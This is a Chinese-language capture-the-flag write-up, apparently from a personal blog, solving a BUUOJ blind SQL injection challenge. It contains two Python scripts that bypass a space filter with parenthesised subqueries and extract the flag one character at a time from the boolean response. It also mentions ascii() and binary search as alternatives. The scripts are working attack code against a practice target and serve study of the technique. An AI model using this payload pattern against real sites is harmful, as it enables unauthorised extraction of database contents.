本文最后更新于:2024年12月14日 下午
题目到手如图
稍微测试了一下,主要的发现就是过滤了空格,然后是bool回显
这就没啥难度了,直接写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import requests
dict='abcdefghijklmnopqrstuvwxyz1234567890-{}' url='http://1448e4b8-efc3-4a33-82e4-9a3a073e5edb.node4.buuoj.cn:81/' flag='' for i in range (1,60): for str in dict: payload="(select(substring(flag,{0},1)='{1}')from(flag))".format(i,str) post_data={'id':payload} res=requests.post(url=url,data=post_data) if "Hello" in res.text: flag=flag+str print(flag) break
|
因为'-'
被过滤的关系导致flag有点问题
改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests
dict='abcdefghijklmnopqrstuvwxyz1234567890{}-' url='http://1448e4b8-efc3-4a33-82e4-9a3a073e5edb.node4.buuoj.cn:81/' flag='' for i in range (1,60): for str in dict: payload="(select(substring(flag,{0},1)='{1}')from(flag))".format(i,str) post_data={'id':payload} res=requests.post(url=url,data=post_data) if "Hello" in res.text: flag=flag+str print(flag) break if "SQL Injection Checked." in res.text: flag=flag+str print(flag) break
|
正确回显了
当然也能通过ascii()
来绕过这个过滤使flag正确回显,我这里图方便就不写了
然后这题其实有更高效率的逻辑
可以用二分法来实现,(但是其实不是太实用)